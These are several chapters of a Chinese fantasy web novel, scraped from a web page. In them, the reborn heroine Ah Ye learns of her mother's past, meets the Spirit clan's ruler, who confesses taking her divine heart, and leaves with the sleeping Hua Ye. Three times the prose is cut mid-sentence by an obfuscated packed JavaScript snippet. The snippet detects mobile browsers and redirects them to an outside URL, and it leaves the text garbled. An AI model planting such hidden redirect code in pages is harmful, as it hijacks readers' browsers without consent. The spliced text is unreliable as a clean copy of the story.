魔域的冬天比淮城更长。从山巅到谷底,积雪长年不化,巨大的雪披一直延伸到平原上,覆盖成片枯木,将在来年春天的暖阳中融化,滋养出新的生命。 原来……只是在书房里打了个盹。恍惚间,听见吱呀一声,门开了。 缀有五色流苏的帷帐被掀起,殷珅走进来,瞥见她额头被压出的红印,笑道:“又睡着了?” 依旧隔着金漆几案对坐,只是主客对调。 “你在看什么?”殷珅问。 “看有关流潦之战的记载。”阿也翻过一页史书,一顿,抬头对上殷珅目光,挑起半边眉,“那你又在看什么?” “当然是看你。”殷珅满意道,“这皮囊才像点样子。” 何止是像点样子。阿也心想,她抱着华烨走出坍塌的空洞之时,听见匆忙赶来的他呼吸一滞。 “皮囊而已。”阿也道,“华烨怎么样了?” “医师正在调养,看药方,非得把孤的私库掏空不可。”殷珅给自己倒上一杯清茶,自斟自饮,“本想找你讨债,不过转念一想,就这些东西能复活神祇,不算亏。” 是,她现在是神了。尽管并无实感,但无需修炼,元力,或许说神力,自然地随着吐息运转一个周天,就像日升月落,万物自然生长。 太过充沛的神力甚至令阿也生出一种预感,假使现在与冰龙交手,若是全力以赴,它在自己手下走不过三招。 唯一欠缺的仍是记忆,大块的、核心部分已经拼凑完整,严丝合缝,却缺少一些零碎的边边角角,但依然重要。 譬如和仙君的交易,譬如在仙族结识云娘的那些年,再譬如更久远一些的,在与九洮相遇前的记忆。 将问题全盘托出后,殷珅沉吟片刻,回答道,“大约是你的魂魄和这身体尚在磨合中。” “如此。”半晌,阿也看着自己光洁如玉的手掌,又问,“那我原本的身体在哪?” 任何东西,但凡使用过,总会留下痕迹,就像她从前练剑留下的那些厚茧和伤疤,就算愈合能力再强,也无法彻底抹去。 但这副身体不一样…… 它是全新的,新到就像是刚造出来一般。 殷珅执杯的手一顿。他抬起头,眼神晦暗,“你发现了?” 阿也丝毫不惧迎上他的目光。 “不错,这是新的肉身。”殷珅移开视线,“至于你原身在哪,我不知道。” 撒谎。阿也继续盯他,直到殷珅败下阵来,无奈道:“好吧好吧,我们没能打过,你的原身被抢走了。” 看样子在仙君手中,阿也敏锐察觉他的说法,“我们?除了你,还有谁?” “能再造神躯的那些天材地宝,哪里是孤一个人出得起的?”殷珅反问道。 “灵君也参与了这件事?”阿也又问,“那他为何不曾露面?” “他于你有愧。”殷珅提前截断她的疑惑,“别问了,孤不会说的。” “如此。”阿也点点头。 “这肉身不好用么?”殷珅一脸肉疼,“花了孤那么多天材地宝。” “只是……不太习惯。”阿也摇头,使用这具肉身令她感觉像是重返人世,却是在一切都已经发生之后,无法挽回。 “那就好。”殷珅松了口气,“就算不好用也只能将就了,光是这一副身体,就快把两族底蕴掏空了,再要多的,也没有了。” 想起冰层之下密集的人形,的确花费巨大。阿也微微颔首,“多谢。” 殷珅被这突然的道谢吓了一跳,神色忽明忽暗,半晌,抿起唇,硬邦邦道:“不客气。” 二人默然对坐,阿也又翻过一页史书。 殷珅按耐不住,又问:“你在看什么?” “看其余两次大战的相关记载。”阿也如实回答,“除却流潦之战,和妖族被屠的阳山之战外,我直觉自己与第一次大战还有些关联。” “你说留水之战?”殷珅上上下下仔仔细细把阿也看了个遍,确定她神色认真不似作伪,意外道,“你居然连这个都忘了?” 看样子他知道不少内情。阿也放下史书,微微颔首,“悉心求教。” “当然要求教于孤。”殷珅懒洋洋地往后一靠,陷入座上柔软的皮毛中,惬意地眯起眼,“毕竟是孤率先出兵攻打仙族的。” 这直截了当的开场白令阿也一怔,“为何出兵?” 殷珅一顿,“是因为孤的女儿,殷婳。” 这个名字勾起识海更深处猛烈的抽痛,阿也努力克制住,掘出稀薄的印象,哑声道:“我娘?” “正是。”殷珅掀起眼皮,房内门窗骤然关紧,透不进一丝风声。他顺手点燃了案上灯烛,火光倒映在眼底,一如当年逼近仙族王城的大火。 “那是孤唯一的孩子,钦定的下一代魔君。”殷珅冷声道,“仙族敢欺负她,就要为此付出代价。” “半个月,孤只用半个月便攻破了仙族边境。”殷珅轻哼一声,“要不是你爹拦着,我两天就能攻破。” 白钰。这个名字随着那句称呼在脑海中浮现,却没什么印象。阿也低头,在史书上找到相关记载——仙族剑使,仙剑无铭的持有者,于留水之战守城而亡。 “你杀了我爹?”她语气平淡。 “孤倒是想。”殷珅嗤笑道,“可怜那妖族太子,被他死前拉去垫背了。” “妖族?”阿也问,“它们加入留水之战,是想浑水摸鱼分一杯羹么?” “少拿你们那一套来暗自揣测。”殷珅半是得意半是可怜道,“妖族太子爱慕婳儿多年,当年若不是你爹蓄意勾引,她本该有段好姻缘,说不定能一举登上双君之位,一统两族。” 正如灵君所言,妖族特立独行,罔顾禁止与外族通婚的律令。阿也接着问,“然后呢?” “当时孤真不该心软撤兵。”殷珅叹道,神色流露出罕见的后悔,“早知那时一举攻破仙族王城,杀个干净,哪还有现在这档子破事。” 这段史书上倒不曾有过记载。阿也追问道,“为何撤兵?是因我爹战死?” “你说白钰?哪怕他死成千上万次,也不解孤的心头之恨。”殷珅忽然抬眼,“孤肯撤兵,是因为看见了你。” 他的视线长久地停留在她眉间。 这是阿也第一次看殷珅流露出这样的眼神,冷硬里一点难以言说的怜爱,仿佛寄生顽石的柔软青苔。 殷珅轻点眉心,魔纹随之浮现,是传闻中屡造杀业的,恶紫色的江崖海水纹。 于是阿也顿悟他看的是什么,他看的是自己眉心那个早已消融的、双枝缠刀的魔纹。 “大约你不知晓,这世上并无一样的魔纹。唯有一种情况例外。” “她心甘情愿为你献祭。” 忽然间,阿也仿佛又回到陌生的梦里,注视面容模糊的女人抱起襁褓摇晃,对着哭闹的婴孩哼起小谣,哄道:“小宝乖,快快睡觉。” 时隔多年,女人的面容依旧模糊不清,阿也却清晰地听到那一曲小谣,悠悠飘过时光的长岸,送进耳里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15340570|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她下意识跟着哼了起来,仿佛回到牙牙学语的孩童岁月。 殷珅默默听她哼完,轻声道,“那是孤的夫人教与她的。” “她很爱你。” 有一瞬间,阿也错觉胸口那里破碎了,尖锐扎进血肉里,痛得令人窒息,忍不住伸手抚上,感知到一片平静,不起一丝涟漪。 良久,她回过神来,“那灵族呢?史书记载灵君也曾参战。” “没有灵族相助,仙族哪里能扛住半月有余?”殷珅冷笑道,“可惜白敬品行有愧,连老天也助孤一臂之力。鏖战最是焦灼时,灵族忽然内乱,祁隐被迫撤兵。” “内乱?”阿也又翻过一页史书,对于这次内乱,记载只有兄弟阋墙四个字。 “这些哪里是能记下来的东西?”殷珅合上她的史书,“上古时期,灵君供奉神农氏有功,求赏一对胞胎,遂愿,其中,兄长祁隐机敏聪慧,立为世子,其弟祁谏天生蛮力,征战四方,自此,四族之中,属灵族最为鼎盛。” “然,盛极必衰,后兄弟二人心悦一女。”殷珅咂舌,“甚至甘愿共侍,平分宠爱。” “共侍一妻?”阿也皱眉,“但天令不是禁止耽溺后宫?自古都是一夫一妻。” “正因如此,身为世子的祁隐顺召继位后,自然求得该女。”殷珅一顿,“而孤却听闻,此女心属祁谏,被迫与祁隐成婚后,二人相敬如宾,多年未有所出。” “直至留水之战。趁祁隐出征,王城空虚之际,祁谏举兵反叛,险些篡位。” “险些?” “还得说起那位奇女子。”殷珅端正神色,面露敬佩,“她镇守王城,奇计频出,屡屡得胜,但奈何兵力不足,城破之际,选择以身饲虎,为祁隐争得时间,更是亲手砍下祁谏人头,吊于城门警示叛军。” 果真是奇女子。阿也在心中感慨,“然后呢?” “然后……不知所踪。”殷珅耸了耸肩,表示这回是真不知道,忽然间,像想起什么似的,兴致勃勃道,“或许你可以亲自问一问祁老头,有关那女子的下落。” 亲自?阿也问,“你想带我去灵族?” “自然是要去一趟的。”殷珅目光闪动,“你记忆缺失,想必是这肉身还欠火候,去祁老头那儿借鼎一用。” 参昴鼎,一鼎齐死生,万事复再衍,乃灵族至宝。回忆史书上的字句,阿也想,她已见识过仙剑无铭和魔刀长决,这灵鼎……或许真能助她恢复记忆。 “正巧灵族有件大喜事。”殷珅勾唇一笑,“想必你会很感兴趣。” 既知他不怀好意,但看在重塑肉身的份上,阿也仍然配合道:“什么事?” “自然是大喜事。”殷珅心情大好,不忘继续卖关子,“你去了便知。” 反正待了这么久,出去散散心也好。阿也想着,点头道,“好。” “戴上这个。” 认出殷珅手中的银面和衣着正是银甲卫统一的制式,阿也问:“你想让我扮成亲随?” “你存在隐秘,又尚未痊愈,最好改换身份,以免横生枝节。”殷珅似是想起什么,厉声道,“把面具带好了,别给孤勾来什么烂桃花。” 阿也眨了眨眼,接过东西,转身回房,片刻后,推开门,见殷珅一愣。 半晌,他低声说,“你很像婳儿。” 于是她一步步走上前,容人从头到脚地仔细看过一遍,同时打量着他眼中的自己,高马尾以红绳束起,以及黑袍袖边缀饰的赤红焰纹。 等到殷珅率先移开视线,她深深颔首,“那就在路上,再说一些有关我娘的事吧。” 58. 世子 迈出偏殿正门,阿也抬起头,这是醒来后第一次看到完整的天空。 雪停了,阳光明媚,照遍了白岩地板的凹凸不平,以及阑干被磨平的雕纹,她忽然意识到这片宫殿里满是生活过的痕迹,却没有一丝人气。 “其他人呢?”阿也问,连巫蕴也不见影踪。 “除了那些银甲卫,其余都遣散了。”殷珅不以为然,“以前三天两头就要开打,死的死,伤的伤。好不容易有些活下来的,孤看着怪可怜的,便送去灵族避难了。” 抬手召出应龙,殷珅回身对上阿也目光,没好气道,“别用那种可怜的眼神看我,孤还没死呢。”他冷声道,“孤不死,魔族就不会亡。” “是,魔君。”阿也颔首道。 殷珅扬眉,正儿八百地受了这一句,翻身坐上龙角,拍了拍另一只,“上来吧。” 应龙乘风升空,飞过那片触手可及的温暖时,阿也想起那时殷珅挺起胸膛说,这是他好不容易抢来的烛九阴的昼目——其实原本是为族中子民舍身抢来的吧?偏偏最后也是他选择亲手送走他的子民们,分分合合,或生或死。 两百年,如此漫长的岁月。阿也心想,大多数时候只有殷珅自己待在这片空荡荡的宫殿里,一个人望着这轮太阳发呆。 就像过去黑焰陪伴她一样。 “你想听婳儿的哪些事?”殷珅忽然问。 思绪回转,阿也道:“我想听所有的事。” 殷珅看她一眼,捻着记忆的线从头讲起,“婳儿颖悟绝伦,三岁修炼,七岁筑基,十四岁打遍同辈无敌手,十六岁单挑长老,是不世出的天才。” 话落入心中,模模糊糊勾勒出轮廓。阿也低声问:“那我娘性格如何?” “被孤惯坏了。”殷珅一言以蔽之,说不出骄傲,又忍不住说得更多,“那些个小辈,打不过,竟哭哭啼啼地四处告状,还得让夫人出面安慰,真是连婳儿一根手指头都比不上。” 成功拼凑出无法无天的混世小魔王形象,阿也又问,“夫人?” “在婳儿七岁那年,夫人她……病故了。”殷珅低声道,“生产时亏了身子,怎么调养都不见效,能凭意志熬过七年,已是不易。” “节哀。”阿也颔首。 “她很高兴。”殷珅笑笑,“能亲眼看见婳儿开启魔纹,被封为世子,于是放心地去了。” “说起夫人下葬,又想起那些不长眼的说婳儿一点眼泪都没流,是大不孝。他们懂什么?自那以后,婳儿常常乘应龙出宫,从未空手回来过,有时捎来新奇的花,有时带来时兴的话本。” “婳儿她,一直都很重情义。” 心头一动,阿也慢慢抚过身下应龙坚硬的鳞片,想象着殷婳坐在这里,身边摆着鲜花或话本,心心念念地想让已故的娘亲看一看,再听一听。 于是那个无法无天的形象忽然变得柔软起来,像一潭封冻的坚冰融化成春水,在微风中轻轻荡漾。 “偏偏也在情义上吃了亏。”殷珅忽然瞪阿也一眼,“要是早知会有白钰这一遭,我就不该允她随意出宫。” 阿也无辜地眨了下眼。 提起白钰,殷珅牙关咬得咯吱作响,“那个白钰有什么好?一个小小的剑使,也就那副皮囊勉强看得过去,谁知道用了什么邪术,勾得婳儿茶不思饭不想,竟要同他私奔!” 这话有失偏颇。阿也心想,尽管她对父亲并无印象,但白钰掌仙剑无铭,从某种意义上来说,与持魔刀长决的殷珅实力相近,不能称之为“小小的剑使”,还有那副皮囊真的只是勉强看得过去……吗? 但见殷珅一脸恨不得刨坟鞭尸的样子,阿也知趣地保持沉默。 “但皮囊顶什么用?”殷珅嗤笑,“长得再好,也是个懦夫,连向白敬提解除剑契都不敢,倒是敢带着婳儿私奔。” 剑契?阿也一怔。她怎么没听说过此物? “好了,不说这些了。”殷珅摆摆手,“灵族,要到了。” 龙身拨开云雾,得见不远处水如蓝染,山色渐清,亭台楼阁错落有致。倘若忽略结界外那片冒着黑烟的秽土,堪称一幅琼瑶画卷。 “那些……是什么?”阿也低声问。 风送来烧焦的味道,她听出其中不甘的怒吼和哀哀的哭声,以及翻滚不息的怨恨。 “阳山之战后,妖族惨遭屠戮,余党向灵族求援,即便孤与祁隐全力相救……”殷珅叹道,“但幸存者寥寥无几。” 一路昂扬的应龙此刻也低下头,沉默地穿过这片寸草不生的废土,仿佛在为逝去的生灵默哀。 “遮一下你的瞳色。”殷珅忽然道,“太显眼了。” 心头沉闷顿时消散,阿也点点头,闭上双眼,待再睁开时,变为过去的茶色,恰巧应龙在结界边缘停下,一切骤然清晰。 水波状的软膜之内,人们成群结队在药田中穿梭,有的除草,有的施肥,偶尔闪过一两只妖兽,背着采下的药材,伴着蹦蹦跳跳的孩童,向炊烟之中走去。 丰衣足食,安居乐业。恐怕是这荒漠里……甚至四域之中,唯一的绿洲。阿也心道。 不对,心底忽然有个微弱的声音跳出来,振振有词,还有那个藏在无妄海底的芥子,从前的流潦之森,现在的五州。 阿也不由抿唇。 “怎么?”殷珅见她面色有异,解释道,“历经百年战火,能活下来这些,已是千难万难。” 阿也微微颔首,“的确不易。” 殷珅目光微闪,生怕阿也询问似的,立即转身,手持长决,贴上那层软膜。 如同被烫化一般,软膜熔出一道口子,供应龙飞入后又迅速合拢。 散去长决后,殷珅翻转手腕,示意应龙降低高度,在一处山林停下,转向阿也道:“灵族中心禁止飞行,以免引起恐慌。” 阿也点点头,乖巧跟在殷珅后面,穿过层叠山林,很显然,他是这里的常客,连偏僻的小道都一清二楚,于是莫名欣慰,虽说这样鬼鬼祟祟的,但比独自赏日强太多。 风是湿润的,草木香在周围浮动,隐约的熟悉,好像在哪里闻过,直到那棵顶天立地的碧绿宝树显形。 通体晶莹,色如翡翠,上抵结界穹顶,下陷幽深山谷, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15347041|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随风摇曳时牵引天地精华,播撒出莹莹绿光,落在草木之上,焕发盎然生机。 “那是灵君的显化命格,七宝妙树,能防瘴气侵蚀,保得此方太平。” 阿也如梦初觉,仿佛又闻到浅淡的草木香,看见摘去落叶时睫羽间的泪花,尝到能平复狂躁的清甜味道,听到那句落寞的“我不是你兄长”,于是顺理成章地想起他的名字—— 华谏。 ……谏。 他说,“临了之际……取名为谏,却始终不愿告知姓氏……” “他是祁谏的孩子?”阿也忽然问。 “你知道?”殷珅追问道,“不对,你怎会知道?连他自己也是近日方才知晓,难不成……你见过祁霜?” 祁霜,那位奇女子。阿也想,对这名字的印象像羽毛浮在水面那样轻淡,却难以忽视,大概她从戚晓口中听说过,又或许曾在药田里擦肩而过。 但那时素昧平生。她轻声道,“我猜的。” “这也能猜到?”殷珅讶然,又道,“罢了,两百年过去,灵族终于迎来他们的世子,何尝不算一件大喜事。” “巫蕴总算做了件好事。”他嘀咕一句,惹来阿也不解的目光,又移开视线,催促道,“走快些,要开宴了。” 宴席露天而设,坐席以奇石分割,间或花林,或疏或密,伴以潺潺流水,金漆托盘顺流而下,盛着酒觞和点心,偶有碰撞,响声叮当。 殷珅寻了个好位置,能看见外人的一举一动,而外人的视线却被枝叶阻隔,无法窥得分毫。 一阵热烈的祝贺响起,觥筹交错,“灵君,恭喜恭喜。” “自然是幸事。”熟悉的声音回应道,“诸位请随意。” 脚步离近了,阿也循声望去,睁大了眼。 虽总是自称老夫,实际上祁隐如殷珅一般,维持着年轻时的相貌,而如今发须已然全白了,神色是难以掩饰的疲惫,尽显老态,配上那身乌青便服,脚步沉沉,仿佛行将就木。 “两百年。”殷珅叹道,“这就是两百年。” 隔着层层林石,水声流入耳里,夹杂杯碟交碰,欢声笑语,阿也一阵恍惚,好像很多年前,她也曾有过这样的时刻。 回过神来,阿也低声问,“祁隐知道么?” “他一手医术出神入化,哪里不知?”殷珅自斟自饮,“当年凯旋,下令说是禁足,实际上好吃好喝地给人供着,等着诞下遗腹子呢,谁料想前脚刚进冷宫,人后脚就跑了,自此不见影踪。” 但他还是认下华谏,赐世子之位。阿也心想,忽然看一眼殷珅。 恰好殷珅低头斟酒,错过了这意味深长的一眼,倒满一杯,随口道:“这世间的对错,有谁能说得清呢?” 话音未落,仿佛心有灵犀,阿也抬头,转向踱步而来的身影。 翡翠加冠,绿藤封腰,青衣鹤氅。 时隔数月,她再度见到华谏。时过境迁,二人都已改换身份,但他笑起来,眉眼间仍是一贯的风流。 于是一个晃神,好像回到不久前,他意气风发地拦在堂口,抱怨她让自己久等。 59. 愧 “孤去见见老友。”殷珅补充道,“叙叙旧。” 阿也点点头,拿起流水之上的一碟花糕,对上殷珅意味不明的的目光。 “喜欢吃这个?”殷珅瞥一眼她手中花糕,不等回应,心急地抄起酒坛,三步并作两步迈了出去。 ……味道有点像。阿也咽下一口,盯着数十种点心顺流而过,样式精巧,唯独没有她想要的那种。 不到一刻钟,熟悉的脚步声折返,是殷珅,顺便带回一句消息,“祁老头想单独见一见你。” “单独?”阿也问。 “去罢。”殷珅叹道,“人之将死,其言也善。” 才迈出坐席,立刻有仆从迎上来,显然是祁隐吩咐过,毕恭毕敬道:“大人往这边请。” 跟随指引来到府邸最深处,仆从方停下脚步,叩响石门的锁环:“灵君,人来了。” “请进。” 石门缓慢打开,那股草木香愈发浓厚了,夹杂隐约的花香,味道说不出的奇怪。 阿也绕过照壁,得见简朴的庭院中,祁隐正侍弄一盆花草,依旧是那身青地织金龟背长袍,佩在腰间的月白香囊上绣着一株碧绿宝树。 他分明刚才穿的还不是这一身。阿也心想,简直像特意换上来见她的。 “来了?”浇完水,祁隐转过身来,认真打量她一番,笑道,“好久不见,你可还适应这副肉身?” 说话的语气极不自然,连笑也很僵硬。阿也心想,直白道:“你要死了?” 这简明扼要的作风令祁隐一怔,忽然哈哈大笑起来,笑得浑身颤抖,眼角闪出泪花,片刻后才平复,他平静道:“因果报应罢了。” “所以来向我忏悔?”阿也问。 祁隐低声道,“殷珅都告诉你了?” 阿也摇头,“他只说你同我有愧。”她一顿,接着道,“但我却想,你原先连借我试药都理直气壮,想必是犯下什么弥天大错,才会躲着不敢见我。” 半晌,祁隐笑了起来:“还是同原来一样敏锐。”他端起花草放在石桌上,“入座罢,这事说来话长。” 落了座,阿也才看清那盆里的哪里是什么花草,分明是某种更加荒诞的东西—— 被层层彤红花瓣簇拥的,是一张巴掌大的人面,而垂下的细长叶子,竟是婴儿般的细嫩手臂。 难怪那花香馨甜又血腥。原来祁隐浇的并不是水,而是新鲜的血。那张人面受了灌溉,正不断喷吐出绯红的孢子,香气四溢。 “别担心,浇的是鸡血,且这孢子能解蝎毒,是……试验的失败品之一。” “之一?”阿也环顾一圈,园圃里果然还种着不少类似的植株,从长角的菌到毛绒绒的矮树,像是由不同物种杂糅而成,十分诡异。 “自妖族被屠后,瘴气范围进一步扩大,无法根除。老夫尝试了许多方法都不见效,无奈之下,想起之前的猜测,若是混合不同族裔的血,兴许能再造出一个‘你’。” “但都失败了。”祁隐卷起衣袖,露出小臂上密密麻麻的针眼,叹道,“就连老夫自己,也一无所成。” 真是个疯子。阿也皱眉:“你体内经脉由五行之木而塑,运转自有法则,注入这么多异血,无异于自戕。” “是。”祁隐沉声道,“但我们已走投无路。” “妖族被屠,下一个不是灵族,就是魔族,与其被相继蚕食,不如联手对抗。”祁隐喃喃道,“但那毕竟是神啊,多年来我们节节败退,一再龟缩,倘若继续下去,终将灭亡。” 阿也慢慢道:“你刚才说,神?” “是!”祁隐急促喘息起来,深深地低下头,“是我……亲自动手,换走了你的神心。” “他记恨留水之战时灵族撤兵,于是打上门来,以子民要挟我。”祁隐痛苦地闭上眼,“若我不应,否则当年被屠的,就是我灵族。” 原来如此。阿也抚上心口,难怪听到殷婳之名时,识海里是那样猛烈的抽痛,心却不起波澜,原来只是个摆设,与面前石桌并无不同。 “但最后,是你给了我们希望。”祁隐轻声道,颤抖地伸出手。 待他撤开手时,桌上赫然摆着断成两截的赤红晶柱,于是阿也恍然大悟,原来现在的她是从前的她无意间留下的种子。 “是……你保护了霜儿。”祁隐偏开头,不敢看她,“令我更加无地自容。” “不日后,我会自投灵鼎,炼去杂质,以纯木之血补全你的血脉,助你再登神位。”祁隐一顿,深吸一口气,“也算是……赎清我的罪孽。” 半晌,阿也忽然笑了,恶劣道:“我拒绝。” 抛下呆若木鸡的祁隐,阿也哼着小谣出门,沿着记忆里的路线往回走,才留心到一些来时不曾注意的地方。 譬如白墙上的霉迹,瓦砾边角的破口,以及仆从身上洗得发白的衣裳,可见灵族这些年过得的确不容易,魔族的境况也不太乐观。 因此不难摸清殷珅走这一遭的目的,还有祁隐甘愿献祭自己,赎罪算是其一,更重要的是为了…… “阿也!” 这一声来得如此突然,于是毫无防备地,阿也回头,见到阳光里朝自己跑来的华谏,神色焦急,像是弄丢了什么重要的东西。 露馅了?阿也想,后退三步拉开距离,微微颔首,客气又疏离,“世子殿下。” “你……”华谏脚步一顿,面露迷茫。 没等到下文。三息之后,阿也歪了歪头,适时开口,疑惑道:“世子殿下?” 他真是疯了。华谏想,方才不过是随意一瞥,连脸都没看清,就冒昧冲上来寻人,明明声音和身形都大相径庭。 唯独那双眼睛,再平常不过的茶色,却如利刃一般,叫人不敢直视—— 但并非那人专属。 压下起伏的心绪,华谏歉然一笑,眉眼低垂,显出一种无端的落寞,“抱歉,是我……我认错人了。” 回到坐席上,宴会已近尾声。 “谈得如何?”殷把玩着空酒杯,意兴阑珊道,将一碟点心推到她面前,正是她想吃的那种。 简直像特意留给她的。阿也心头一动,反问道,“你想我如何?” 没料到这一句,殷珅默了片刻,笑道,“自然是,你想如何便如何。” 到现在也不肯说实话。阿也心想,拈起一块糕点,送入口中,被殷珅盯着直至彻底咽下,方道:“你给他送了不少血吧。” 祁隐执着于纯正的血脉,想来注入的异族之血也来自实力相近的人。 “不错。”殷珅坦然道,“以此庇佑我魔族子民。” 作为一族之君,殷珅和祁隐的目标一致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352858|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都是守护自己的子民,无可指摘。阿也叹道,“那你派巫蕴去五州干什么?” 从某种意义上来说,那些也是她的子民。 半晌,殷珅扯了扯嘴角,“又是猜的?” “在结界那头,你心虚不敢看我,加上这些天我并未见到巫蕴。”阿也淡淡道,“我还猜你派他去五州,是为了逼我开天堑。” “不错。祁老头被异血损耗了太多寿命,若他提前辞世,七宝妙树枯萎,后果不堪设想。”殷珅慢慢道,“而五州之内,既有金乌,时速亦慢,何尝不是个好去处?” 阿也眯起眼。 殷珅视若无睹,接着道:“五州一年,可抵四域十年,如此洞天福地,任谁不想分一杯羹?”话到最后,他得意一笑,却见阿也跟着笑起来,皱眉道,“你笑什么?” “你不会的。”阿也懒洋洋道,“否则来的就不是巫蕴,而是应龙了。” 从公子闲抢走九洮的晶柱,强开天堑来看,晶柱不过是信物,任谁拿都可以,但来找她的依旧是巫蕴一人,而不是两族大军。 虽说大军压境也无妨,但至少很有诚意。 殷珅脸一黑,“和聪明人说话就是麻烦。” “你刚才还夸我娘聪明。”阿也挑眉,“若我不开天堑呢?” 这回轮到殷珅笑了,“你不会不开的。”他学阿也拈起一块糕点,慢条斯理道,“若四域灭亡,瘴气卷土重来,覆巢之下,安有完卵?” 糕点送入口中,他皱起脸,“难吃。” “那就别吃。”阿也瞪他一眼,抢走最后一块,慢慢咀嚼自己的思绪。 那瘴气能感染活物,穆州已是先例,而四域和五州,正所谓唇亡齿寒。若是少了一个,在即将到来的风雨之中都独木难支,但,并不是非得开天堑不可,还能…… “巫蕴都同我说了。”殷珅忽然道。 “咳、咳——” 这突如其来的一句令阿也呛住,忙灌了杯茶压下去,冷声道,“说什么?” “说你不愿回去。”殷珅犹豫道,“还有一些……” “不必说了。”阿也打断他。 “不,有些话是必须要说的。”殷珅温和地注视她,终于摆出了长辈该有的架势。 “你还小,不知人口不应心是常事,所以要多看一看,多听一听,她们心里究竟在说什么,又想说什么。” “其实你并没有生云欢的气。”殷珅肯定道,“也不恨华重楼欺骗你,对吧?” “没想到他连这些都同你说了。”阿也轻笑一声,坚持与殷珅对视半晌,但还是败下阵来。 云欢被云娘抚养长大,所以她拿着晶柱辛辛苦苦找了很久结果发现辜负云娘的人就在身边,生怨无可厚非。 华烨是华重楼唯一的孩子,而他从一开始就知道真相,还好吃好喝地供着她,容她侵占了三年华烨的身体,直到测赋时彻底暴露才选择出卖她,亦是仁至义尽。 “那为什么不亲自去一趟?”殷珅问,“看看她们是否如你所想的那样,讨厌你,憎恨你。” “抑或是你内心有愧,不愿面对她们。”殷珅轻声道,像是早已看破她的伪装,“所以也不愿开启天堑。” “我……”阿也张了张口,却说不出话。 “可你明明想她们,也爱她们。” 60. 重返 “你让我这样去?”阿也嘴角一抽。 数十位银甲卫环绕玉榻而立,昂首挺胸,只待一声令下就能连人带榻扛起来跑。 “有何不妥?”殷珅疑惑道。 真是不难猜出他平日的风格。阿也抚额,“我还是自己去吧。” “那华烨呢?”殷珅不解,“她尚在沉睡中,你就这样背着人四处跑?” 总比两个人躺在一张榻上被抬着跑强。阿也心想,道,“我去看看她。” 拨开珠帘,房内叮叮当当下起小雨,待雨声止息,阿也见到安然熟睡的华烨。 那张曾在镜中对视过无数次的眉眼舒展开来,呼吸平稳而舒缓,想必是个好梦。 阿也注视着她,那感觉像是注视着另一个自己,一个一无所知的自己,半晌,她收回视线,“情况如何?” “华烨天生魂体虚弱,不过经你神魂滋养了这些年,已有好转,过段时间兴许会醒来。” “兴许?”阿也问。 “医师说,也可能……”殷珅一顿,“永远醒不过来了。” 闻言,阿也皱眉,并拢二指,虚点在华烨眉间,勾出一团暗淡白光,布满蛛网般的裂纹,摇摇欲碎。 沉吟片刻,她微微偏头,“替我护法。” “别拿我当仆从使唤!”殷珅恼道,想了想,还是不情不愿地布下结界。 “叮——”极轻的一声。 虚空被骤然撕裂。一朵透明的火焰显形,周围温度迅速升高,威压节节攀升,很快超过结界承受的极限。 殷珅勉力维持结界不散,催促道,“你快点。” 火焰在面前跳动,阿也信手抽出一丝红,引向那团白光。 接触的刹那,那抹红迅速掺进去,仿佛一根细线,上下飞窜,缝补四分五裂的魂魄,甚至认认真真打了个结。 阿也压掌,白光缓缓沉入华烨眉心,见人脸上多了些生气,她张开五指,火焰随之消散。 殷珅呼出一口长气,撤开结界,扬眉道,“你倒是大气,舍得拆一缕神魂替人弥补缺漏。” 阿也看他一眼,“你也想要?” 殷珅一噎,脸色阴晴不定,最终,以警告的语气道:“收好你的善心。” “是。”阿也勾唇一笑,俯下身,一手揽住华烨肩头,一手抄在膝弯,轻而易举将人打横抱起,微微颔首,“还请魔君带路。” 与来时相比,封冻海面的冰层已融化大半,碎冰随波浪起伏,撞出清凌凌的声响。 “当真不带银甲卫?”殷珅忍不住道,“你一个人抱着华烨到处跑,像什么样子。” “你不是让巫蕴接应我么?”阿也含笑道,“很怕我不回来?” “你爱回不回!”殷珅恼极,怒道,“我们走!”挥手间,银甲卫如四散的流星一般,随他升空。 目送殷珅离远了,阿也淡去笑意,盯着被风抚皱的海面出神,半晌,叹了口气。 其实她不大敢控水,总会想起那个飘红的水茧,但火莲容易招来注意,很有可能波及华烨。 罢了,总是要面对的。她心念一动,水流环绕成茧,逐渐下沉。 被海浪彻底吞没前,有碎冰飘来,擦过水茧,声响铮然,一如记忆中远去的琵琶声。 早在海面之上,那些凶兽便嗅到了她的气息,躲得远远的。因此很长一段时间里,眼前只有涌动的,翻滚的一片黑,粘稠得挥不开,几近窒息。 阿也下意识抱紧华烨,听着她平稳的呼吸,缓过一口气,像是熬过漫漫长夜,终于得见一点曙光。 